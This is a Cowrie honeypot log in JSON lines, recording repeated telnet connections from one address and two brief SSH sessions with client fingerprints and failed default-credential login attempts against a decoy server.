{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54442,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cd6cc653ba9","protocol":"telnet","message":"New connection: 23.111.140.22:54442 (10.17.0.5:23) [session: 5cd6cc653ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:39.866844Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55958,"dst_ip":"10.17.0.5","dst_port":23,"session":"8599e92a6e0f","protocol":"telnet","message":"New connection: 23.111.140.22:55958 (10.17.0.5:23) [session: 8599e92a6e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:40.449656Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36498,"dst_ip":"10.17.0.5","dst_port":23,"session":"16af10c079e3","protocol":"telnet","message":"New connection: 23.111.140.22:36498 (10.17.0.5:23) [session: 16af10c079e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:40.519353Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57314,"dst_ip":"10.17.0.5","dst_port":23,"session":"93ad2cc53858","protocol":"telnet","message":"New connection: 23.111.140.22:57314 (10.17.0.5:23) [session: 93ad2cc53858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:40.950479Z"}
{"eventid":"cowrie.session.closed","duration":30.55764126777649,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:41.120353Z","src_ip":"23.111.140.22","session":"a0e3b4833d1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.28831696510315,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:41.211979Z","src_ip":"23.111.140.22","session":"6f182e89234a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.183817148208618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:41.363171Z","src_ip":"23.111.140.22","session":"1eab23ac1a1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58472,"dst_ip":"10.17.0.5","dst_port":23,"session":"46d12350c169","protocol":"telnet","message":"New connection: 23.111.140.22:58472 (10.17.0.5:23) [session: 46d12350c169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:41.428632Z"}
{"eventid":"cowrie.session.closed","duration":32.35425114631653,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:41.631396Z","src_ip":"23.111.140.22","session":"2c66c0dea132","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59252,"dst_ip":"10.17.0.5","dst_port":23,"session":"87cd5854a5bb","protocol":"telnet","message":"New connection: 23.111.140.22:59252 (10.17.0.5:23) [session: 87cd5854a5bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:41.715379Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60784,"dst_ip":"10.17.0.5","dst_port":23,"session":"228781654d58","protocol":"telnet","message":"New connection: 23.111.140.22:60784 (10.17.0.5:23) [session: 228781654d58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:42.235454Z"}
{"eventid":"cowrie.session.closed","duration":31.153131008148193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:42.330830Z","src_ip":"23.111.140.22","session":"50849429c9c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35698,"dst_ip":"10.17.0.5","dst_port":23,"session":"03f468c17a9c","protocol":"telnet","message":"New connection: 23.111.140.22:35698 (10.17.0.5:23) [session: 03f468c17a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:43.358236Z"}
{"eventid":"cowrie.session.closed","duration":31.16961359977722,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:43.627640Z","src_ip":"23.111.140.22","session":"dadbd3ed0b1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.00733661651611,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:43.852224Z","src_ip":"23.111.140.22","session":"c305dfa264f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37604,"dst_ip":"10.17.0.5","dst_port":23,"session":"4286bd2e4948","protocol":"telnet","message":"New connection: 23.111.140.22:37604 (10.17.0.5:23) [session: 4286bd2e4948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:44.075429Z"}
{"eventid":"cowrie.session.closed","duration":32.766149282455444,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:44.856272Z","src_ip":"23.111.140.22","session":"c8992380b192","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39606,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c3189952a6f","protocol":"telnet","message":"New connection: 23.111.140.22:39606 (10.17.0.5:23) [session: 3c3189952a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:44.866106Z"}
{"eventid":"cowrie.session.closed","duration":31.532386779785156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:44.976413Z","src_ip":"23.111.140.22","session":"05708b22d47d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40298,"dst_ip":"10.17.0.5","dst_port":23,"session":"54b0a2416f98","protocol":"telnet","message":"New connection: 23.111.140.22:40298 (10.17.0.5:23) [session: 54b0a2416f98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:45.144182Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40860,"dst_ip":"10.17.0.5","dst_port":23,"session":"af54bc6b7ab5","protocol":"telnet","message":"New connection: 23.111.140.22:40860 (10.17.0.5:23) [session: af54bc6b7ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:45.368221Z"}
{"eventid":"cowrie.session.closed","duration":32.087382316589355,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:45.661493Z","src_ip":"23.111.140.22","session":"eed35dcc1367","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41842,"dst_ip":"10.17.0.5","dst_port":23,"session":"7749c658349a","protocol":"telnet","message":"New connection: 23.111.140.22:41842 (10.17.0.5:23) [session: 7749c658349a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:45.733307Z"}
{"eventid":"cowrie.session.closed","duration":32.36645174026489,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:46.424480Z","src_ip":"23.111.140.22","session":"beabf956b008","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.76125478744507,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:47.452614Z","src_ip":"23.111.140.22","session":"ce9cd218c793","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46338,"dst_ip":"10.17.0.5","dst_port":23,"session":"f00eb443faa9","protocol":"telnet","message":"New connection: 23.111.140.22:46338 (10.17.0.5:23) [session: f00eb443faa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:47.460366Z"}
{"eventid":"cowrie.session.closed","duration":32.06317734718323,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:47.620425Z","src_ip":"23.111.140.22","session":"2f73dfcab83a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47074,"dst_ip":"10.17.0.5","dst_port":23,"session":"afa49334407c","protocol":"telnet","message":"New connection: 23.111.140.22:47074 (10.17.0.5:23) [session: afa49334407c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:47.719503Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44566,"dst_ip":"10.17.0.5","dst_port":23,"session":"11dff9048600","protocol":"telnet","message":"New connection: 23.111.140.22:44566 (10.17.0.5:23) [session: 11dff9048600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:47.758050Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":59788,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa424413e09f","protocol":"ssh","message":"New connection: 135.235.138.43:59788 (10.17.0.5:22) [session: fa424413e09f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:48.073092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:48.077457Z","src_ip":"135.235.138.43","session":"fa424413e09f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.253390073776245,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:48.243659Z","src_ip":"23.111.140.22","session":"c2696e257b79","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:48.270381Z","src_ip":"135.235.138.43","session":"fa424413e09f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.70950436592102,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:48.918042Z","src_ip":"23.111.140.22","session":"131fa65f5dd6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin#321","message":"login attempt [root/admin#321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:49.074720Z","src_ip":"135.235.138.43","session":"fa424413e09f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53691,"dst_ip":"10.17.0.5","dst_port":23,"session":"5257bb8c5de4","protocol":"telnet","message":"New connection: 23.111.140.22:53691 (10.17.0.5:23) [session: 5257bb8c5de4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:50.265545Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:50.270998Z","src_ip":"135.235.138.43","session":"fa424413e09f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52278,"dst_ip":"10.17.0.5","dst_port":23,"session":"74a42ef688c5","protocol":"telnet","message":"New connection: 23.111.140.22:52278 (10.17.0.5:23) [session: 74a42ef688c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:50.710142Z"}
{"eventid":"cowrie.session.closed","duration":35.3363573551178,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:51.365936Z","src_ip":"23.111.140.22","session":"36ce67fe35b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57100,"dst_ip":"10.17.0.5","dst_port":23,"session":"faae85bbe9d6","protocol":"telnet","message":"New connection: 23.111.140.22:57100 (10.17.0.5:23) [session: faae85bbe9d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:51.484771Z"}
{"eventid":"cowrie.session.closed","duration":31.836164712905884,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:51.598130Z","src_ip":"23.111.140.22","session":"2ef12b795518","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58542,"dst_ip":"10.17.0.5","dst_port":23,"session":"480b405132ce","protocol":"telnet","message":"New connection: 23.111.140.22:58542 (10.17.0.5:23) [session: 480b405132ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:51.996835Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58756,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2f427113c23","protocol":"telnet","message":"New connection: 23.111.140.22:58756 (10.17.0.5:23) [session: b2f427113c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:52.066601Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":34408,"dst_ip":"10.17.0.5","dst_port":22,"session":"631e2adef784","protocol":"ssh","message":"New connection: 202.145.0.61:34408 (10.17.0.5:22) [session: 631e2adef784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:52.143099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:52.147687Z","src_ip":"202.145.0.61","session":"631e2adef784","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.182910680770874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:52.151842Z","src_ip":"23.111.140.22","session":"ce8aa012ae27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59210,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a24830f06f2","protocol":"telnet","message":"New connection: 23.111.140.22:59210 (10.17.0.5:23) [session: 6a24830f06f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:52.255440Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:52.380693Z","src_ip":"202.145.0.61","session":"631e2adef784","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59796,"dst_ip":"10.17.0.5","dst_port":23,"session":"66392a8685bb","protocol":"telnet","message":"New connection: 23.111.140.22:59796 (10.17.0.5:23) [session: 66392a8685bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:52.494801Z"}
{"eventid":"cowrie.session.closed","duration":30.839109420776367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:52.738750Z","src_ip":"23.111.140.22","session":"42e192c58cce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.63078260421753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:52.994279Z","src_ip":"23.111.140.22","session":"aca43bc2788e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33174,"dst_ip":"10.17.0.5","dst_port":23,"session":"43fb9e876dda","protocol":"telnet","message":"New connection: 23.111.140.22:33174 (10.17.0.5:23) [session: 43fb9e876dda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:53.066933Z"}
{"eventid":"cowrie.login.failed","username":"arkserver","password":"arkserver","message":"login attempt [arkserver/arkserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:53.346590Z","src_ip":"202.145.0.61","session":"631e2adef784","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.330395698547363,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:53.766744Z","src_ip":"23.111.140.22","session":"35d0b4a951ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:54.582827Z","src_ip":"202.145.0.61","session":"631e2adef784","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.889007806777954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:55.022975Z","src_ip":"23.111.140.22","session":"1e5f083d01c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.75664210319519,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:55.760506Z","src_ip":"23.111.140.22","session":"65ac9e43ed6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.758230447769165,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:56.811983Z","src_ip":"23.111.140.22","session":"f823af33a86e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45942,"dst_ip":"10.17.0.5","dst_port":23,"session":"7941b8a50e70","protocol":"telnet","message":"New connection: 23.111.140.22:45942 (10.17.0.5:23) [session: 7941b8a50e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:57.716928Z"}
{"eventid":"cowrie.session.closed","duration":23.403345108032227,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:58.286397Z","src_ip":"23.111.140.22","session":"6044b02c34f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46420,"dst_ip":"10.17.0.5","dst_port":23,"session":"26c64ad29672","protocol":"telnet","message":"New connection: 23.111.140.22:46420 (10.17.0.5:23) [session: 26c64ad29672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:58.873504Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50788,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bdce91c4635","protocol":"telnet","message":"New connection: 23.111.140.22:50788 (10.17.0.5:23) [session: 3bdce91c4635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:59.411156Z"}
{"eventid":"cowrie.session.closed","duration":53.113990783691406,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:59.835957Z","src_ip":"23.111.140.22","session":"dc43975a91c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53355574607849,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:00.039458Z","src_ip":"23.111.140.22","session":"b7084b3ba8fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.0616021156311,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:00.076031Z","src_ip":"23.111.140.22","session":"7a46638cc0ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53264,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe24e78fdc00","protocol":"telnet","message":"New connection: 23.111.140.22:53264 (10.17.0.5:23) [session: fe24e78fdc00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:00.280118Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47940,"dst_ip":"10.17.0.5","dst_port":23,"session":"106999092c20","protocol":"telnet","message":"New connection: 23.111.140.22:47940 (10.17.0.5:23) [session: 106999092c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:00.604652Z"}
{"eventid":"cowrie.session.closed","duration":0.004107475280761719,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:00.608643Z","src_ip":"23.111.140.22","session":"106999092c20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.264758586883545,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:00.957636Z","src_ip":"23.111.140.22","session":"1228a74d846d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92635226249695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:01.041972Z","src_ip":"23.111.140.22","session":"54754d6e53ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.677764654159546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:01.504677Z","src_ip":"23.111.140.22","session":"d9568a314b71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54056,"dst_ip":"10.17.0.5","dst_port":23,"session":"32f2155aeef2","protocol":"telnet","message":"New connection: 23.111.140.22:54056 (10.17.0.5:23) [session: 32f2155aeef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:01.561905Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58068,"dst_ip":"10.17.0.5","dst_port":23,"session":"aac42413d728","protocol":"telnet","message":"New connection: 23.111.140.22:58068 (10.17.0.5:23) [session: aac42413d728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:01.986627Z"}
